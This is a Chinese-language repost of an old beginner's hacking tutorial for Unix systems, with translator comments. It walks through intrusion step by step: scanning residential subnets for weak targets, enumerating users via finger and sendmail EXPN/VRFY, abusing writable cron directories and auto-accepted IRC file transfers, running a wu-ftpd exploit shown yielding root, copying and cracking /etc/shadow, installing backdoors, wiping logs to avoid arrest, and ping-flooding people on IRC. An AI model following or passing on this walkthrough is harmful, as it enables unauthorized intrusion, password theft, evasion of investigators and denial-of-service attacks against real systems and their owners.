歡迎您光臨本站 註冊首頁

Unix黑客初學者指導

←手機掃碼閱讀     火星人 @ 2014-03-24 , reply:0

Unix黑客初學者指導


首先說一下寫這篇文章的目的,近來越來越多的人問我諸如「我如何能夠黑了hotmail」或者aol等等一些其它的愚蠢的問題。這篇文章將確實的向你解釋關於「hack」的一些知識。如果你是個初學者,你應當從頭到尾通讀這篇文章,或者如果你已經進階了,那就別再往下看了,你應該全都了解的。我或許將往這篇文章中添加一些內容或者讓他變得更易於理解。我寫這篇文章的最根本的原因是,讓別人不再來問我或者其他人如何去做*愚蠢*的事,是的,問如何去黑(how to hack)是*愚蠢*的,它讓你看起來愚蠢並且學不到任何東西,當然除非你完全不能自學的話。
起初當我想弄亂別人的電腦時,我只是一個中學的小孩子。我問別人有關病毒和木馬的事,並且使用它們,那時我是一個lamer(瘸子,不完整的)。我在學校里問別人並且最終發現一個對hacking感興趣的人。他向我展示一些技巧,我付給他錢。(snowblue:現在有SQL,無用等一些高手義務的幫助你們,而你們卻不好好的珍惜)他使用UNIX很多年了,他叫我去找一個shell。我不知道那是什麼意思。他說那是對UNIX系統的訪問許可權。我仍然有點迷惑,最終我得到了一個shell。我讀所有我能夠找到的,把所有的時間都花在計算機上,我開始對社會和現實世界失去興趣。那時候我每天在計算機上花的時間超過12個小時。我讀任何找到的資料,我讀的第一篇文章是"mostly harmless hacking"(幾乎沒有破壞性的入侵),我對它很感興趣。起初我只會用一些圖形模式的工具來做一些像改變關機屏幕的簡單的事。做有關hacking的網站,儘管我並不知道hacking究竟是什麼。我收集windows下的木馬和病毒等一些工具,儘管那並不是hacking,但那時候我喜歡它們。隨後我開始用郵件禁用詞語,flooder,DoS。當我對他們有了了解后,(我意識到那並不是hacking)我回去繼續尋找shell。當時我所能找到的免費的shell都是非常簡單的。我聽說了有關linux的一些事。我問我學校的「黑客朋友」,他說不要用linux,用真正的UNIX。他搬到了PA,從那以後我再也沒有他的音訊。我試圖找到他並感謝它所教給我的,但沒有成功。我得到了一個linux。安裝是文本模式的,但它運行很迅速,它比windows要可亂說話多了,從不死機。但我的56k modem不能工作,我跑到了IRC問有關linux的問題。我發現了我的modem是一種叫winmodem的,win-moden是由軟體控制的,他們通常比硬體modem慢,並且不能再linux下工作。(snowblue:現在大多數的modem在linux下都有驅動,你可以自己尋找)我在命令行下模式工作,看自己能夠幹些什麼。最終我花了100美元買了一個linux兼容的modem。我讓他工作,這太棒了。從那以後我就使用它,並且仍然可以在那上面學到更多的東西。我的父母說我「對計算機著魔了」,我試圖解釋我並沒有。我從沒有對它感到厭煩,我一直能夠學到新的東西。那段時間裡,我失去了一些朋友,退出了大學足球隊。所有的一切僅僅是為了這該死的機器。希望某人可以發現這篇文章很有用。
目錄

1. 普通的知識
2. 需要的東西
3. 簡單的入侵
4. 如何進入
5. 列舉
6. 常見的失誤
7. 緩衝溢出
8. 防火牆
9. 進入之後幹些什麼
10. 如何才能不被抓住
11. 清除紀錄
12. 用途
13. 我對破壞者的看法

否認聲明:
閱讀這篇文章說明你同意隸屬於r00t-access的任何人都不對你通過看這篇文章所造成的任何後果負責

1. 讀這篇文章的最好方法是一次把它讀完,然後再讀一遍。好吧,現在讓我們開始。我假設你已經有了一些基本的知識,知道telnet是什麼,一些基本的tcp/ip的知識等等。如果有一些你並不理解,不要猶豫,加入irc.dal.net上的#r00t-access,那是我常去的地方。
需要的東西:
2. 我列出了一些在這篇教程中需要的東西。你可以在anti-secure.com和packetstorm.securify.com找到它們。用引擎找一下就可以了。
1. - superscan (for windows)
2. - nmap (for unix)
3. - full shell access (the very best is if you have linux or bsd or solaris or another unix OS)
4. - compiler on the shell
5. - wingates (you can use them as telnet proxys)

容易的目標:
3. 這裡我講一下如何找到一些容易的目標
1. 到altavista.com用日語或其他語言搜索「遊戲」,理由是這些站點的安全性較低
2. 掃描一個有很多服務的cable或者dsl子網,你可以用nmap,埠的狀態應當是open而不是close或者filtered,nmap的掃描報告會告訴你的。我將不會告訴你如何使用namp,原因是man page已經有作夠的信息了。
3. 確保nmap已經被安裝了。使用下面我給出的命令
(注意:$是一個普通的用戶,而#則是超級用戶。作為例子,我用了24.112.*.*,吧它替換成你想要掃瞄的ip)
$ nmap -p 21,23 24.112.*.*
進入:
4. 為了能夠進入,你應當收集儘可能多的有關目標主機的信息。由於這是你的第一次入侵,所以確保它有一個笨笨的管理員。然後你可以使用exploit。我將在後面詳細解釋
列舉:
5. Ok 我們找到了目標。現在讓我們得到更多的信息。首先來telnet它的79埠。如果它是打開的,你就可以得到以登陸用戶的信息。僅僅是telnet然後按下回車。
讓我們假定埠是打開的並且允許我們查看在線用戶。看下面的例子:
$ telnet target.domain 79
Trying IPaddress...
Connected to target.domain.
Escape character is ^].

Login Name Tty Idle Login Time Office Office Phone
gt grahm crackhead /1 Sep 1 12:01
ok 如果你得到了一個login,把它記下來,然後找更多的login。或許你需要暴力窮句。你可以在www.packetstorm.securify.com 找到一個windows下的窮具工具。使用大量的單詞來窮舉那個賬號。如果你得到的消息是"no one is logged on" 或許你需要一個windows下的haktek。同樣,你可以在www.packetstorm.securify.com 找到它。Haketk能夠讓你監視finger進程並且紀錄登陸的人。這是很有用的。另一種方法,你可以用sendmail。如果他們有很多的用戶,你可以嘗試telnet並且找幾個有效的用戶名,還可以找幾個程序通過暴力法來完成。看下面,我給出了通過sendmail來得到有效的用戶名的例子—
$ telnet target.domain 25
Trying IPaddress...
Connected to target.domain.
Escape character is ^].

220 target.domain ESMTP Sendmail 8.9.3/8.9.3; Fri, 1 Sep 2000 12:11:00 -0400
expn wally
250 Wally Kolcun
vrfy wally
250 Wally Kolcun
expn Billy
550 BIlly... User Unknown
就像你所看到的,我telnet到他們的smtp,敲入expn,然後系統告訴我這是不是一個有效的用戶,最後我給出了一個用戶不存在的例子,當我敲入expn Billy,系統告訴我用戶不存在,然後我知道這不是一個合法的用戶。這同樣可以幫助你得到他們的email,然後你就可以嘗試一下社會工程學。
另一個搜集用戶名的方法可以是利用usenet, altavista,你可以搜索一下新聞組,或許可以得到一些有用的信息。
另一些可以利用的進程是 systat netstat等等。
telnet還可以幫助你判斷出對方的操作系統,當你想exploit時這是非常重要的。當telnet時,有些會給出系統信息,如下所示:
Trying IPaddress...
Connected to target.domain.
Escape character is ^].

Red Hat Linux release 6.1 (Cartman)
Kernal 2.2.12-20 on an i586
login:
你可以看到,系統是redhat 6.1
有些時候你可以使用社會工程學,拿Kevin Mitnick舉個例子。它使用社會工程學進入了Novell,一個很大的系統。它所作的只是像一個在那裡工作的人那樣和別人交談。他知道當時那裡的某人正在度假,但是他知道某人的名字。他打電話到了Novell的辦公室找那個人,然後秘書告訴他那個人正在度假,然後他說它需要和那個人聯繫,於是它便從秘書那裡得到了那個人的信息。
常見的失誤:
6. 人們會時不時的犯一些錯誤。這可以幫助你進入。某些人並不是很好的管理員。一個十分普遍的失誤是許可權設置上的錯誤。有些系統對所有人都開放了write許可權。這是一個很大的問題。讓我們舉個例子。某人把cron.daily的write許可權開放給所有人。你就可以上傳一個後門程序並通過cron進程來執行,從而得到系統的訪問權。
現在讓我來告訴你最可怕的事。假如某個用戶在系統上使用IRC,並且如果它把dcc文件傳送設置為自動接收,接受目錄為他的主目錄。你就可以傳給他一個.bash_profile,文件寫的好的話,可以讓他做一些事。例如添加一個用戶,或者把密碼郵寄給某人。很顯然這是進入系統的最簡單的方法。
緩衝溢出/exploiting:
7. 我不打算對緩衝溢出講得太深,我只想借是那是什麼然後進入下一節。
緩衝溢出—在進程上有一個叫緩衝限制的東西。緩衝限制限制了進入的位元組數。某些情況下,你可以通過特殊的代碼讓緩衝區溢出來得到一個root用戶或者普通用戶。有一個例子是wu-ftpd 2.6.0 (1)的緩衝溢出。下面我將告訴你:
$ gcc wuftpd-god.c -o wuftpd-god
$ ./wuftpd-god -h

Usage: ./wuftpd-god -t [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]
[-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]
target : host with any wuftpd
user : anonymous user
dir : if not anonymous user, you need to have writable directory
magic_str : magic string (see exploit description)
-g : enables magic string digging
-x : enables test mode
pass_addr : pointer to setproctitle argument
ret_addr : this is pointer to shellcode
systypes:
0 - RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm
2 - SuSe 6.3 with wuftpd 2.6.0(1) from rpm
3 - SuSe 6.4 with wuftpd 2.6.0(1) from rpm
4 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)
5 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports
* 6 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages
7 - FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports
8 - FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages


$ ./wuftpd-god -s0 -t target.domain

Target: target.domain (ftp/): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152

loggin into system..
[32mUSER ftp
[0m331 Guest login ok, send your complete e-mail address as password.
[32mPASS
[0m230-Next time please use your e-mail address as your password
230- for example: [email protected]
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our return address by format string
Linux melmac 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)

#
如果你想要root的話,exploit是一種方法。查出系統的操作系統,然後到hack.co.za 或者packetstorm 查找那個系統的exploit,你應當得到一些perl scripts/c scripts/shell scripts。執行它們,你就會成為root
當然,如果系統打了exploit的補丁,你或許想知道root的口令是什麼。可以敲下面的命令:
(如果沒有經過shadow,口令被存放於/etc/passwd)
# cat /etc/shadow > /root/passwd
root:34jk3h4jh3.,;8363:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
sympa:x:89:89:Sympa Mailing list manager:/home/sympa:/bin/bash
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
xfs:x:100:103:X Font Server:/etc/X11/fs:/bin/false
fax:x:10:14:Fax Master:/home/fax/:/bin/bash
postfix:x:101:233:postfix:/var/spool/postfix:
gdm:x:42:235::/home/gdm:/bin/bash
grim:9hu.u8:501:501:grim:/home/grim:/bin/bash
banal:x:102:236:BANAL Administrator:/home/banal:/bin/bash
bleeb:36.34/363;86:502:506::/home/bleeb:/bin/bash
上面就是/etc/passwd的內容,但是你需要破解他們,可以用john the ripper,可以在packetstorm或其他地方找到它。我就用它,他很快。(snowbue:支持國產,你可以用小榕的 亂刀 可以在在www.netxeyes.com 下載)有時破解一個賬號要用幾年的時間,所以我並不提倡這種做法。
防火牆:
8. 如果你了解你所作的,防火牆並不能阻止你。我很喜歡用nmap,這個工具非常好。在www.insecure.org 可以找到最新的版本。我喜歡它的OS(操作系統)檢測,即使目標只運行了很少的服務,它的檢測也很準確。它通過分析目標的tcp指紋並於自身攜帶的資料庫作比較來得到結果。下面給出一個使用nmap來查出防火牆規則的例子。敲入nmap ?sA 。浙江檢測防火牆的規則。我不想太過深入而是這篇文章變得使人厭煩。如果你像知道更多有關nmap的,只需敲入man nmap就可以了。
進入以後做什麼:
9. 進入以後做什麼取決於你想如何使用這個系統。如果你想有一個匿名的root shell,那麼就設置一個後門。你可以在www.packetstorm.securify.com 找到後門(木馬)。我認為你完全有能力自己獨立設置一個後門,但是如果你需要幫助的話,加入$r00t-access,或許我可以幫助你。但是我*不會*幫助你進入一個系統,不過我或許可以幫助你加固你自己的系統。
如何才能不被抓住:
10. 最主要的事是。別干*蠢*事。如果你想保住那個shell,不要破壞那個系統,不要刪除他們的文件,不過或許你需要修改他們的紀錄。這就是我想說的。
清除紀錄:
11. 如果你還向待在這兒而不進監獄的話,清除日誌是最重要的工作。在login/hostname中清除紀錄,linux里是/var/log,還有你目錄下的.bash_profile文件。作這事的最簡單的方法是到blackcode.com 或packetstorm找一個工具。
用途:
12. 我一向都擁有超過一個root shell。我在那上面運行nmap和saint來隱藏我自己的主機。或許我會在那上面設置一個web proxy/bnc。Saint是一個很好的工具。它可以告訴你系統有些什麼漏洞。你可以在遠程很容易的使用它。有時當我看不慣某人的時候,我就flood他們,就像這樣:
# ping -f -c 50 -s 4500 IPaddress
.........................................................
...........................................................
.........E...........E...EE........E..................E.......
..............E.......E.EEE...................E.E......
Host unreatchable.
有人認為這是lame的,但是我通過這樣來讓某人在IRC里閉嘴。
破壞者:
13. 在這篇文章中我沒有談到hacking,實際上我我所涉及的只是cracking,我並不破壞系統,可能永遠都不會。並不是我沒有這個能力而是因為這是不對的。再加上如果你被抓住了你或許會因為你的破壞而坐幾年牢。我不喜歡人們把hacking和cracking混為一談
ok 寫完了。如果你有問題的話,可以聯繫我,但請不要問諸如如何去黑的問題。不久我將建一個telnet的BBS。

[火星人 ] Unix黑客初學者指導已經有735次圍觀

http://coctec.com/docs/linux/show-post-151869.html